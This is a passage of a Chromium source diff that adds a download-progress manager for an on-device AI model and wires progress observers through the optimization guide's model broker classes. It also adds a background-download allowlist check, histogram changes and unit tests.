diff --git a/components/optimization_guide/core/DEPS b/components/optimization_guide/core/DEPS
index 1e83db78..fc4d354c 100644
--- a/components/optimization_guide/core/DEPS
+++ b/components/optimization_guide/core/DEPS
@@ -1,5 +1,8 @@
 include_rules = [
   "+components/autofill/core/common",
+  "+components/update_client/crx_update_item.h",
+  "+components/component_updater/component_updater_service.h",
+  "+components/component_updater/mock_component_updater_service.h",
   "+components/component_updater/pref_names.h",
   "+components/crx_file",
   "+components/download/public/background_service",
@@ -27,7 +30,6 @@
 specific_include_rules = {
   ".*_unittest.cc": [
     "+third_party/zlib/google/zip.h",
-    "+components/component_updater/component_updater_service.h",
     "+ui/base",
   ],
 };
diff --git a/components/optimization_guide/core/model_execution/android/model_broker_android.cc b/components/optimization_guide/core/model_execution/android/model_broker_android.cc
index ac0e45fd..986e4854 100644
--- a/components/optimization_guide/core/model_execution/android/model_broker_android.cc
+++ b/components/optimization_guide/core/model_execution/android/model_broker_android.cc
@@ -336,7 +336,10 @@
       usage_tracker_(&local_state),
       impl_(usage_tracker_,
             base::BindRepeating(&ModelBrokerAndroid::EnsureSolutionFactory,
-                                base::Unretained(this))) {}
+                                base::Unretained(this)),
+            base::BindRepeating(
+                &ModelBrokerAndroid::AddModelDownloadProgressObserver,
+                base::Unretained(this))) {}
 ModelBrokerAndroid::~ModelBrokerAndroid() = default;
 
 void ModelBrokerAndroid::BindModelBroker(
@@ -380,4 +383,10 @@
   model_services_.erase(feature);
 }
 
+void ModelBrokerAndroid::AddModelDownloadProgressObserver(
+    mojo::PendingRemote<on_device_model::mojom::DownloadObserver> observer) {
+  // TODO: crbug.com/474999857 Get download progress from AICore, and notify the
+  // observers.
+}
+
 }  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/android/model_broker_android.h b/components/optimization_guide/core/model_execution/android/model_broker_android.h
index 321d7282..6a8e6723 100644
--- a/components/optimization_guide/core/model_execution/android/model_broker_android.h
+++ b/components/optimization_guide/core/model_execution/android/model_broker_android.h
@@ -16,7 +16,9 @@
 #include "components/optimization_guide/public/mojom/model_broker.mojom.h"
 #include "mojo/public/cpp/bindings/pending_receiver.h"
 #include "mojo/public/cpp/bindings/remote.h"
+#include "mojo/public/cpp/bindings/remote_set.h"
 #include "services/on_device_model/on_device_model_mojom_impl.h"
+#include "services/on_device_model/public/mojom/download_observer.mojom.h"
 #include "services/on_device_model/public/mojom/on_device_model.mojom.h"
 
 namespace on_device_model {
@@ -65,6 +67,9 @@
       proto::ModelExecutionFeature feature,
       base::WeakPtr<on_device_model::mojom::OnDeviceModel> model);
 
+  void AddModelDownloadProgressObserver(
+      mojo::PendingRemote<on_device_model::mojom::DownloadObserver> observer);
+
   const raw_ref<PrefService> local_state_;
 
   raw_ref<OptimizationGuideModelProvider> model_provider_;
diff --git a/components/optimization_guide/core/model_execution/model_broker_client.cc b/components/optimization_guide/core/model_execution/model_broker_client.cc
index 03a4d51d..8640823 100644
--- a/components/optimization_guide/core/model_execution/model_broker_client.cc
+++ b/components/optimization_guide/core/model_execution/model_broker_client.cc
@@ -215,4 +215,12 @@
                                        std::move(callback), logger_);
 }
 
+void ModelBrokerClient::AddModelDownloadProgressObserver(
+    mojo::PendingRemote<on_device_model::mojom::DownloadObserver> observer) {
+  // TODO: crbug.com/474999857 Enable this interface on Android.
+#if !BUILDFLAG(IS_ANDROID)
+  remote_->AddModelDownloadProgressObserver(std::move(observer));
+#endif  // !BUILDFLAG(IS_ANDROID)
+}
+
 }  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/model_broker_client.h b/components/optimization_guide/core/model_execution/model_broker_client.h
index 381a18e3..0846b2b0 100644
--- a/components/optimization_guide/core/model_execution/model_broker_client.h
+++ b/components/optimization_guide/core/model_execution/model_broker_client.h
@@ -23,6 +23,7 @@
 #include "mojo/public/cpp/bindings/pending_remote.h"
 #include "mojo/public/cpp/bindings/remote.h"
 #include "mojo/public/cpp/bindings/remote_set.h"
+#include "services/on_device_model/public/mojom/download_observer.mojom.h"
 #include "services/on_device_model/public/mojom/on_device_model.mojom.h"
 #include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 
@@ -148,6 +149,10 @@
                      const SessionConfigParams& config_params,
                      CreateSessionCallback callback);
 
+  // Add DownloadProgressObserver.
+  void AddModelDownloadProgressObserver(
+      mojo::PendingRemote<on_device_model::mojom::DownloadObserver> observer);
+
  private:
   mojo::Remote<mojom::ModelBroker> remote_;
   base::WeakPtr<OptimizationGuideLogger> logger_;
diff --git a/components/optimization_guide/core/model_execution/model_broker_impl.cc b/components/optimization_guide/core/model_execution/model_broker_impl.cc
index 6a4470e1..2358b5f 100644
--- a/components/optimization_guide/core/model_execution/model_broker_impl.cc
+++ b/components/optimization_guide/core/model_execution/model_broker_impl.cc
@@ -15,10 +15,14 @@
 
 namespace optimization_guide {
 
-ModelBrokerImpl::ModelBrokerImpl(UsageTracker& usage_tracker,
-                                 EnsureInitCallback ensure_init_callback)
+ModelBrokerImpl::ModelBrokerImpl(
+    UsageTracker& usage_tracker,
+    EnsureInitCallback ensure_init_callback,
+    AddDownloadProgressObserverCallback add_download_progress_observer_callback)
     : usage_tracker_(usage_tracker),
-      ensure_init_callback_(std::move(ensure_init_callback)) {}
+      ensure_init_callback_(std::move(ensure_init_callback)),
+      add_download_progress_observer_callback_(
+          std::move(add_download_progress_observer_callback)) {}
 
 ModelBrokerImpl::~ModelBrokerImpl() = default;
 
@@ -52,6 +56,15 @@
   return solution_providers_.emplace(feature, feature).first->second;
 }
 
+#if !BUILDFLAG(IS_ANDROID)
+void ModelBrokerImpl::AddModelDownloadProgressObserver(
+    mojo::PendingRemote<on_device_model::mojom::DownloadObserver> observer) {
+  TRACE_EVENT("optimization_guide",
+              "ModelBrokerImpl::AddModelDownloadProgressObserver");
+  add_download_progress_observer_callback_.Run(std::move(observer));
+}
+#endif  // !BUILDFLAG(IS_ANDROID)
+
 ModelBrokerImpl::Solution::Solution() = default;
 ModelBrokerImpl::Solution::~Solution() = default;
 
diff --git a/components/optimization_guide/core/model_execution/model_broker_impl.h b/components/optimization_guide/core/model_execution/model_broker_impl.h
index 43885ce..ae58f2ee 100644
--- a/components/optimization_guide/core/model_execution/model_broker_impl.h
+++ b/components/optimization_guide/core/model_execution/model_broker_impl.h
@@ -81,7 +81,9 @@
   };
 
   ModelBrokerImpl(UsageTracker& usage_tracker,
-                  EnsureInitCallback ensure_init_callback);
+                  EnsureInitCallback ensure_init_callback,
+                  AddDownloadProgressObserverCallback
+                      add_download_progress_observer_callback);
   ~ModelBrokerImpl() override;
 
   void BindBroker(mojo::PendingReceiver<mojom::ModelBroker> receiver);
@@ -95,6 +97,12 @@
       mojom::ModelSubscriptionOptionsPtr options,
       mojo::PendingRemote<mojom::ModelSubscriber> subscriber) override;
 
+#if !BUILDFLAG(IS_ANDROID)
+  void AddModelDownloadProgressObserver(
+      mojo::PendingRemote<on_device_model::mojom::DownloadObserver> observer)
+      override;
+#endif  // !BUILDFLAG(IS_ANDROID)
+
   // Finishes Subscribe after initialization is finished.
   void SubscribeInternal(
       mojom::ModelSubscriptionOptionsPtr options,
@@ -102,6 +110,7 @@
 
   raw_ref<UsageTracker> usage_tracker_;
   EnsureInitCallback ensure_init_callback_;
+  AddDownloadProgressObserverCallback add_download_progress_observer_callback_;
   std::map<mojom::OnDeviceFeature, SolutionProvider> solution_providers_;
   mojo::ReceiverSet<mojom::ModelBroker> receivers_;
   base::WeakPtrFactory<ModelBrokerImpl> weak_ptr_factory_{this};
diff --git a/components/optimization_guide/core/model_execution/model_broker_state.cc b/components/optimization_guide/core/model_execution/model_broker_state.cc
index 9a20abd..aed51481 100644
--- a/components/optimization_guide/core/model_execution/model_broker_state.cc
+++ b/components/optimization_guide/core/model_execution/model_broker_state.cc
@@ -19,10 +19,13 @@
     PrefService& local_state,
     OptimizationGuideModelProvider& model_provider,
     std::unique_ptr<OnDeviceModelComponentStateManager::Delegate> delegate,
-    on_device_model::ServiceClient::LaunchFn launch_fn)
+    on_device_model::ServiceClient::LaunchFn launch_fn,
+    component_updater::ComponentUpdateService* component_update_service)
     : service_client_(std::move(launch_fn)),
       usage_tracker_(&local_state),
       performance_classifier_(&local_state, service_client_.GetSafeRef()),
+      download_progress_manager_(component_update_service,
+                                 {delegate->GetComponentId()}),
       component_state_manager_(&local_state,
                                performance_classifier_.GetSafeRef(),
                                usage_tracker_,
@@ -32,7 +35,8 @@
           performance_classifier_.GetSafeRef(),
           component_state_manager_.GetWeakPtr(),
           usage_tracker_,
-          service_client_.GetSafeRef()),
+          service_client_.GetSafeRef(),
+          download_progress_manager_.GetAddObserverCallback()),
       asset_manager_(local_state,
                      usage_tracker_,
                      component_state_manager_,
diff --git a/components/optimization_guide/core/model_execution/model_broker_state.h b/components/optimization_guide/core/model_execution/model_broker_state.h
index 3a264f1..5d8c9881 100644
--- a/components/optimization_guide/core/model_execution/model_broker_state.h
+++ b/components/optimization_guide/core/model_execution/model_broker_state.h
@@ -11,6 +11,7 @@
 #include "components/optimization_guide/core/delivery/optimization_guide_model_provider.h"
 #include "components/optimization_guide/core/model_execution/on_device_asset_manager.h"
 #include "components/optimization_guide/core/model_execution/on_device_capability.h"
+#include "components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h"
 #include "components/optimization_guide/core/model_execution/on_device_model_service_controller.h"
 #include "components/optimization_guide/core/model_execution/performance_class.h"
 #include "components/optimization_guide/core/model_execution/usage_tracker.h"
@@ -27,7 +28,8 @@
       PrefService& local_state,
       OptimizationGuideModelProvider& model_provider,
       std::unique_ptr<OnDeviceModelComponentStateManager::Delegate> delegate,
-      on_device_model::ServiceClient::LaunchFn launch_fn);
+      on_device_model::ServiceClient::LaunchFn launch_fn,
+      component_updater::ComponentUpdateService* component_update_service);
   ~ModelBrokerState() override;
 
   ModelBrokerState(const ModelBrokerState&) = delete;
@@ -83,6 +85,7 @@
   on_device_model::ServiceClient service_client_;
   UsageTracker usage_tracker_;
   PerformanceClassifier performance_classifier_;
+  OnDeviceModelDownloadProgressManager download_progress_manager_;
   OnDeviceModelComponentStateManager component_state_manager_;
   OnDeviceModelServiceController service_controller_;
   OnDeviceAssetManager asset_manager_;
diff --git a/components/optimization_guide/core/model_execution/on_device_capability.h b/components/optimization_guide/core/model_execution/on_device_capability.h
index 851cfb1e0..a4a209a 100644
--- a/components/optimization_guide/core/model_execution/on_device_capability.h
+++ b/components/optimization_guide/core/model_execution/on_device_capability.h
@@ -97,6 +97,11 @@
 using OptimizationGuideModelSizeInTokenCallback =
     base::OnceCallback<void(std::optional<uint32_t>)>;
 
+// The callback for adding a download progress observer to
+// OnDeviceModelDownloadProgressManager.
+using AddDownloadProgressObserverCallback = base::RepeatingCallback<void(
+    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>)>;
+
 // Params used to control sampling output tokens for the on-device model.
 struct SamplingParams {
   uint32_t top_k = 1;
diff --git a/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader.cc b/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader.cc
index d278caa..0957e06e 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader.cc
+++ b/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader.cc
@@ -22,6 +22,7 @@
 #include "components/optimization_guide/core/model_execution/usage_tracker.h"
 #include "components/optimization_guide/core/optimization_guide_constants.h"
 #include "components/optimization_guide/core/optimization_guide_enums.h"
+#include "components/optimization_guide/core/optimization_guide_features.h"
 #include "components/optimization_guide/core/optimization_guide_switches.h"
 #include "components/optimization_guide/proto/common_types.pb.h"
 #include "components/optimization_guide/proto/models.pb.h"
@@ -235,8 +236,12 @@
     return;
   }
 
+  bool is_background_download_enabled_for_feature =
+      features::IsOnDeviceModelBackgroundDownloadEnabledForFeature(feature_);
+
   if (!switches::GetOnDeviceModelExecutionOverride() &&
-      !was_feature_recently_used) {
+      !was_feature_recently_used &&
+      !is_background_download_enabled_for_feature) {
     RecordAdaptationModelAvailability(
         feature_, OnDeviceModelAdaptationAvailability::kFeatureNotRecentlyUsed);
     return;
diff --git a/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader_unittest.cc b/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader_unittest.cc
index 411be893..09bb511 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader_unittest.cc
+++ b/components/optimization_guide/core/model_execution/on_device_model_adaptation_loader_unittest.cc
@@ -11,6 +11,7 @@
 #include "base/files/scoped_temp_dir.h"
 #include "base/functional/callback_helpers.h"
 #include "base/test/metrics/histogram_tester.h"
+#include "base/test/scoped_feature_list.h"
 #include "base/test/task_environment.h"
 #include "base/test/test_future.h"
 #include "base/time/time.h"
@@ -105,7 +106,14 @@
             base::unexpected(AdaptationUnavailability::kUpdatePending));
 }
 
-TEST_F(OnDeviceModelAdaptationLoaderTest, DoesNotRegisterWithoutUsage) {
+TEST_F(OnDeviceModelAdaptationLoaderTest,
+       DoesNotRegisterWithoutUsageOrBackgroundDownloadAllowlist) {
+  base::test::ScopedFeatureList scoped_feature_list;
+  // Enable background download, but not the tested feature.
+  scoped_feature_list.InitAndEnableFeatureWithParameters(
+      features::kOnDeviceModelBackgroundDownload,
+      {{"allowed_features", "Compose"}});
+
   loaders_.MaybeRegisterModelDownload(feature(), spec_, false);
   ASSERT_FALSE(provider_.HasRegistrations());
   histogram_tester_.ExpectUniqueSample(
@@ -116,6 +124,42 @@
             base::unexpected(AdaptationUnavailability::kUpdatePending));
 }
 
+TEST_F(OnDeviceModelAdaptationLoaderTest,
+       DoesNotRegisterWithoutUsageAndBackgroundDownloadDisabled) {
+  base::test::ScopedFeatureList scoped_feature_list;
+  scoped_feature_list.InitAndDisableFeature(
+      features::kOnDeviceModelBackgroundDownload);
+
+  mojom::OnDeviceFeature prompt_api_feature =
+      mojom::OnDeviceFeature::kPromptApi;
+
+  loaders_.MaybeRegisterModelDownload(prompt_api_feature, spec_,
+                                      /*was_feature_recently_used=*/false);
+  ASSERT_FALSE(provider_.HasRegistrations());
+  histogram_tester_.ExpectUniqueSample(
+      "OptimizationGuide.ModelExecution.OnDeviceAdaptationModelAvailability."
+      "PromptApi",
+      OnDeviceModelAdaptationAvailability::kFeatureNotRecentlyUsed, 1);
+  EXPECT_EQ(metadata_.Get(prompt_api_feature),
+            base::unexpected(AdaptationUnavailability::kUpdatePending));
+}
+
+TEST_F(OnDeviceModelAdaptationLoaderTest, RegistersWithBackgroundDownload) {
+  base::test::ScopedFeatureList scoped_feature_list;
+  scoped_feature_list.InitAndEnableFeatureWithParameters(
+      features::kOnDeviceModelBackgroundDownload,
+      {{"allowed_features", "PromptApi"}});
+  // Use a feature that is allowed for background download.
+  mojom::OnDeviceFeature prompt_api_feature =
+      mojom::OnDeviceFeature::kPromptApi;
+
+  loaders_.MaybeRegisterModelDownload(prompt_api_feature, spec_,
+                                      /*was_feature_recently_used=*/false);
+  ASSERT_TRUE(provider_.HasRegistrations());
+  EXPECT_EQ(metadata_.Get(prompt_api_feature),
+            base::unexpected(AdaptationUnavailability::kUpdatePending));
+}
+
 TEST_F(OnDeviceModelAdaptationLoaderTest, ProvidesValidAsset) {
   loaders_.MaybeRegisterModelDownload(feature(), spec_, true);
   FakeAdaptationAsset asset{{
diff --git a/components/optimization_guide/core/model_execution/on_device_model_component.cc b/components/optimization_guide/core/model_execution/on_device_model_component.cc
index 3dee446..21a757b 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_component.cc
+++ b/components/optimization_guide/core/model_execution/on_device_model_component.cc
@@ -45,13 +45,6 @@
 // Delay to give consumers time to unload the model before it's deleted.
 constexpr base::TimeDelta kUninstallDelay = base::Seconds(1);
 
-void LogInstallInitiated(ModelInstallMode mode) {
-  base::UmaHistogramEnumeration(
-      "OptimizationGuide.ModelExecution.OnDeviceModelInstallCriteria."
-      "AtRegistration.InstallMode",
-      mode);
-}
-
 void LogInstallCriteria(std::string_view event_name,
                         std::string_view criteria_name,
                         bool criteria_value) {
@@ -86,6 +79,12 @@
                      criteria.enabled_by_user_setting);
   LogInstallCriteria(event_name, "All",
                      criteria.get_install_mode().has_value());
+  if (criteria.get_install_mode().has_value() &&
+      !criteria.is_already_installing) {
+    LogInstallCriteria(
+        "InitialInstall", "IsBackground",
+        criteria.get_install_mode() == ModelInstallMode::kBackground);
+  }
 }
 
 // Returns the best performance hint for this device based on the supported
@@ -498,9 +497,6 @@
   if (first_registration_attempt) {
     LogInstallCriteria(criteria, "AtRegistration",
                        disk_space_free.value_or(base::ByteCount(-1)).InGiB());
-    if (criteria.get_install_mode()) {
-      LogInstallInitiated(*criteria.get_install_mode());
-    }
   }
 
   UpdateRegistration();
diff --git a/components/optimization_guide/core/model_execution/on_device_model_component.h b/components/optimization_guide/core/model_execution/on_device_model_component.h
index c11baca..4b76f47 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_component.h
+++ b/components/optimization_guide/core/model_execution/on_device_model_component.h
@@ -198,6 +198,9 @@
     // Request on demand update. Assumes that `RegisterInstaller` has already
     // been called.
     virtual void RequestUpdate() = 0;
+
+    // Gets the base model component ID.
+    virtual std::string GetComponentId() = 0;
   };
 
   class Observer : public base::CheckedObserver {
diff --git a/components/optimization_guide/core/model_execution/on_device_model_component_unittest.cc b/components/optimization_guide/core/model_execution/on_device_model_component_unittest.cc
index 90cc9f8..3e82324 100644
--- a/components/optimization_guide/core/model_execution/on_device_model_component_unittest.cc
+++ b/components/optimization_guide/core/model_execution/on_device_model_component_unittest.cc
@@ -188,6 +188,10 @@
       "OptimizationGuide.ModelExecution.OnDeviceModelInstallCriteria."
       "AtRegistration.All",
       true, 1);
+  histograms_.ExpectUniqueSample(
+      "OptimizationGuide.ModelExecution.OnDeviceModelInstallCriteria."
+      "InitialInstall.IsBackground",
+      false, 1);
 }
 
 TEST_F(OnDeviceModelComponentTest, AlreadyInstalledFlow) {
@@ -749,6 +753,10 @@
   EnsurePerformanceClassAvailable();
   ASSERT_TRUE(WaitUntilInstallerRegistered());
   EXPECT_FALSE(broker_.component_state().request_update_called());
+  histograms_.ExpectUniqueSample(
+      "OptimizationGuide.ModelExecution.OnDeviceModelInstallCriteria."
+      "InitialInstall.IsBackground",
+      true, 1);
 }
 
 TEST_F(OnDeviceModelComponentTest, BackgroundDownloadBlockedOnExperimentFlag) {
diff --git a/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.cc b/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.cc
new file mode 100644
index 0000000..6761434c
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.cc
@@ -0,0 +1,326 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h"
+
+#include "components/update_client/crx_update_item.h"
+
+namespace optimization_guide {
+
+namespace features {
+BASE_FEATURE(kAIModelUnloadableProgress, base::FEATURE_ENABLED_BY_DEFAULT);
+
+// The number of bytes that won't load when reporting downloadprogress until
+// creation is completed.
+//
+// Calculated to occupy 10% of the loading bar when the model (currently
+// 3556255776 bytes) isn't downloaded.
+const base::FeatureParam<int> kAIModelUnloadableProgressBytes{
+    &kAIModelUnloadableProgress, "ai_model_unloadable_progress_bytes",
+    3556255776 / 9};
+}  // namespace features
+
+int64_t NormalizeModelDownloadProgress(int64_t bytes_so_far,
+                                       int64_t total_bytes) {
+  // If `bytes_so_far` is zero, we should have downloaded zero bytes
+  // out of zero meaning we're at 100%. So set it to
+  // `kNormalizedDownloadProgressMax` to avoid dividing by zero.
+  if (total_bytes == 0) {
+    CHECK_EQ(bytes_so_far, 0);
+    return kNormalizedDownloadProgressMax;
+  }
+
+  double raw_progress_fraction =
+      bytes_so_far / static_cast<double>(total_bytes);
+
+  return raw_progress_fraction * kNormalizedDownloadProgressMax;
+}
+
+namespace {
+
+bool IsDownloadEvent(const component_updater::CrxUpdateItem& item) {
+  // See class comment: components/update_client/component.h
+  switch (item.state) {
+    case update_client::ComponentState::kDownloading:
+    case update_client::ComponentState::kDecompressing:
+    case update_client::ComponentState::kPatching:
+    case update_client::ComponentState::kUpdating:
+    case update_client::ComponentState::kUpToDate:
+      return item.downloaded_bytes >= 0 && item.total_bytes >= 0;
+    case update_client::ComponentState::kNew:
+    case update_client::ComponentState::kChecking:
+    case update_client::ComponentState::kCanUpdate:
+    case update_client::ComponentState::kUpdated:
+    case update_client::ComponentState::kUpdateError:
+    case update_client::ComponentState::kRun:
+      return false;
+  }
+}
+
+bool IsAlreadyInstalled(const component_updater::CrxUpdateItem& item) {
+  // See class comment: components/update_client/component.h
+  switch (item.state) {
+    case update_client::ComponentState::kUpdated:
+    case update_client::ComponentState::kUpToDate:
+      return true;
+    case update_client::ComponentState::kNew:
+    case update_client::ComponentState::kChecking:
+    case update_client::ComponentState::kCanUpdate:
+    case update_client::ComponentState::kDownloading:
+    case update_client::ComponentState::kDecompressing:
+    case update_client::ComponentState::kPatching:
+    case update_client::ComponentState::kUpdating:
+    case update_client::ComponentState::kUpdateError:
+    case update_client::ComponentState::kRun:
+      return false;
+  }
+}
+
+}  // namespace
+
+OnDeviceModelDownloadProgressManager::OnDeviceModelDownloadProgressManager(
+    component_updater::ComponentUpdateService* component_update_service,
+    base::flat_set<std::string> component_ids,
+    bool enable_unloadable_progress)
+    : component_update_service_(*component_update_service) {
+  for (const auto& component_id : component_ids) {
+    components_progress_.emplace(component_id, DownloadProgressInfo());
+  }
+
+  if (enable_unloadable_progress &&
+      base::FeatureList::IsEnabled(features::kAIModelUnloadableProgress)) {
+    never_load_component_bytes_ =
+        features::kAIModelUnloadableProgressBytes.Get();
+  }
+}
+
+OnDeviceModelDownloadProgressManager::~OnDeviceModelDownloadProgressManager() {
+  component_updater_observation_.Reset();
+}
+
+AddDownloadProgressObserverCallback
+OnDeviceModelDownloadProgressManager::GetAddObserverCallback() {
+  return base::BindRepeating(&OnDeviceModelDownloadProgressManager::AddObserver,
+                             weak_ptr_factory_.GetWeakPtr());
+}
+
+void OnDeviceModelDownloadProgressManager::AddObserver(
+    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
+        observer_remote) {
+  auto reporter = std::make_unique<Reporter>(*this, std::move(observer_remote));
+
+  if (!components_total_bytes_.has_value()) {
+    components_total_bytes_ = CalculateTotalBytes();
+  }
+
+  if (components_total_bytes_.has_value()) {
+    int64_t components_leftover_bytes = CalculateLeftoverBytes();
+    // If |components_leftover_bytes| is equal to |never_load_component_bytes_|,
+    // all components are already downloaded. Will send a 0 progress update as
+    // ComponentUpdateService won't send any updates for already installed
+    // components.
+    bool is_all_components_downloaded =
+        components_leftover_bytes == never_load_component_bytes_;
+
+    reporter->SetTotalBytes(components_leftover_bytes);
+    if (is_all_components_downloaded) {
+      reporter->UpdateProgress(0);
+    }
+  }
+
+  reporters_.emplace(std::move(reporter));
+  if (GetNumberOfReporters() == 1) {
+    StartObserver();
+  }
+}
+
+void OnDeviceModelDownloadProgressManager::RemoveReporter(Reporter* reporter) {
+  CHECK(reporter);
+  reporters_.erase(reporter);
+  if (GetNumberOfReporters() == 0) {
+    component_updater_observation_.Reset();
+
+    components_total_bytes_ = std::nullopt;
+    for (auto& [component_id, progress] : components_progress_) {
+      progress = DownloadProgressInfo();
+    }
+  }
+}
+
+int OnDeviceModelDownloadProgressManager::GetNumberOfReporters() const {
+  return reporters_.size();
+}
+
+void OnDeviceModelDownloadProgressManager::StartObserver() {
+  size_t already_installed_count = 0;
+  for (auto& [component_id, progress] : components_progress_) {
+    component_updater::CrxUpdateItem item;
+    bool success =
+        component_update_service_->GetComponentDetails(component_id, &item);
+    if (success && IsAlreadyInstalled(item)) {
+      SetDownloadProgress(progress, 0, 0);
+      already_installed_count += 1;
+    }
+  }
+
+  if (already_installed_count == components_progress_.size()) {
+    return;
+  }
+  component_updater_observation_.Observe(&component_update_service_.get());
+}
+
+void OnDeviceModelDownloadProgressManager::OnEvent(
+    const component_updater::CrxUpdateItem& item) {
+  if (!IsDownloadEvent(item)) {
+    return;
+  }
+
+  auto it = components_progress_.find(item.id);
+  if (it == components_progress_.end()) {
+    return;
+  }
+  SetDownloadProgress(it->second,
+                      std::min(item.downloaded_bytes, item.total_bytes),
+                      item.total_bytes);
+}
+
+void OnDeviceModelDownloadProgressManager::SetDownloadProgress(
+    DownloadProgressInfo& progress,
+    int64_t downloaded_bytes,
+    int64_t total_bytes) {
+  int64_t downloaded_bytes_delta =
+      downloaded_bytes - progress.downloaded_bytes.value_or(0);
+  if (downloaded_bytes_delta < 0) {
+    return;
+  }
+
+  progress.downloaded_bytes = downloaded_bytes;
+  progress.total_bytes = total_bytes;
+
+  // If total component bytes is not determined yet, try to calculate it.
+  if (!components_total_bytes_.has_value()) {
+    components_total_bytes_ = CalculateTotalBytes();
+    if (!components_total_bytes_.has_value()) {
+      return;
+    }
+
+    // Don't include already downloaded bytes in progress calculation.
+    int64_t components_leftover_bytes = CalculateLeftoverBytes();
+    downloaded_bytes_delta = 0;
+    for (const auto& reporter : reporters_) {
+      reporter->SetTotalBytes(components_leftover_bytes);
+    }
+  }
+
+  for (const auto& reporter : reporters_) {
+    reporter->UpdateProgress(downloaded_bytes_delta);
+  }
+}
+
+std::optional<int64_t>
+OnDeviceModelDownloadProgressManager::CalculateTotalBytes() {
+  int64_t total_bytes = 0;
+  for (const auto& [component_id, progress] : components_progress_) {
+    if (!progress.total_bytes.has_value()) {
+      return std::nullopt;
+    }
+    total_bytes += progress.total_bytes.value();
+  }
+  return total_bytes;
+}
+
+int64_t OnDeviceModelDownloadProgressManager::GetDownloadedBytes() const {
+  int64_t total_downloaded_bytes = 0;
+  for (const auto& [component_id, progress] : components_progress_) {
+    total_downloaded_bytes += progress.downloaded_bytes.value_or(0);
+  }
+  return total_downloaded_bytes;
+}
+
+int64_t OnDeviceModelDownloadProgressManager::CalculateLeftoverBytes() const {
+  CHECK(components_total_bytes_.has_value());
+
+  int64_t downloaded_bytes = GetDownloadedBytes();
+  int64_t components_total_bytes = components_total_bytes_.value();
+  CHECK_LE(downloaded_bytes, components_total_bytes);
+
+  components_total_bytes -= downloaded_bytes;
+  // Add never load component bytes.
+  components_total_bytes += never_load_component_bytes_;
+  return components_total_bytes;
+}
+
+OnDeviceModelDownloadProgressManager::Reporter::Reporter(
+    OnDeviceModelDownloadProgressManager& manager,
+    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
+        observer_remote)
+    : manager_(manager), observer_remote_(std::move(observer_remote)) {
+  observer_remote_.set_disconnect_handler(base::BindOnce(
+      &Reporter::OnRemoteDisconnect, weak_ptr_factory_.GetWeakPtr()));
+}
+
+OnDeviceModelDownloadProgressManager::Reporter::~Reporter() = default;
+
+void OnDeviceModelDownloadProgressManager::Reporter::OnRemoteDisconnect() {
+  manager_->RemoveReporter(this);
+}
+
+void OnDeviceModelDownloadProgressManager::Reporter::SetTotalBytes(
+    int64_t total_bytes) {
+  CHECK_GE(total_bytes, 0);
+  if (total_bytes_.has_value()) {
+    CHECK_EQ(total_bytes_.value(), total_bytes);
+    return;
+  }
+
+  total_bytes_ = total_bytes;
+}
+
+void OnDeviceModelDownloadProgressManager::Reporter::UpdateProgress(
+    int64_t downloaded_bytes_delta) {
+  if (!total_bytes_.has_value()) {
+    return;
+  }
+
+  if (!has_fired_zero_progress_) {
+    has_fired_zero_progress_ = true;
+    last_reported_progress_ = 0;
+    last_progress_time_ = base::TimeTicks::Now();
+    observer_remote_->OnDownloadProgressUpdate(0,
+                                               kNormalizedDownloadProgressMax);
+  }
+
+  int64_t total_bytes = total_bytes_.value();
+  downloaded_bytes_ += downloaded_bytes_delta;
+
+  CHECK_GE(downloaded_bytes_, 0);
+  CHECK_LE(downloaded_bytes_, total_bytes);
+
+  // Only report this event if we're at 100% or if more than 50ms has passed
+  // since the last time we reported a progress event.
+  if (downloaded_bytes_ != total_bytes) {
+    base::TimeTicks current_time = base::TimeTicks::Now();
+    if (current_time - last_progress_time_ <= base::Milliseconds(50)) {
+      return;
+    }
+    last_progress_time_ = current_time;
+  }
+
+  int64_t normalized_progress =
+      NormalizeModelDownloadProgress(downloaded_bytes_, total_bytes);
+  // Don't report progress events we've already sent.
+  if (normalized_progress == last_reported_progress_) {
+    return;
+  }
+
+  CHECK_GT(normalized_progress, last_reported_progress_);
+  CHECK_LE(normalized_progress, kNormalizedDownloadProgressMax);
+  last_reported_progress_ = normalized_progress;
+
+  // Send the progress event to the observer.
+  observer_remote_->OnDownloadProgressUpdate(normalized_progress,
+                                             kNormalizedDownloadProgressMax);
+}
+
+}  // namespace optimization_guide
diff --git a/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h b/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h
new file mode 100644
index 0000000..e247f3c
--- /dev/null
+++ b/components/optimization_guide/core/model_execution/on_device_model_download_progress_manager.h
@@ -0,0 +1,149 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_ON_DEVICE_MODEL_DOWNLOAD_PROGRESS_MANAGER_H_
+#define COMPONENTS_OPTIMIZATION_GUIDE_CORE_MODEL_EXECUTION_ON_DEVICE_MODEL_DOWNLOAD_PROGRESS_MANAGER_H_
+
+#include <cstddef>
+#include <memory>
+#include <unordered_map>
+#include <vector>
+
+#include "base/containers/flat_set.h"
+#include "base/containers/unique_ptr_adapters.h"
+#include "base/feature_list.h"
+#include "base/gtest_prod_util.h"
+#include "base/memory/raw_ref.h"
+#include "base/memory/weak_ptr.h"
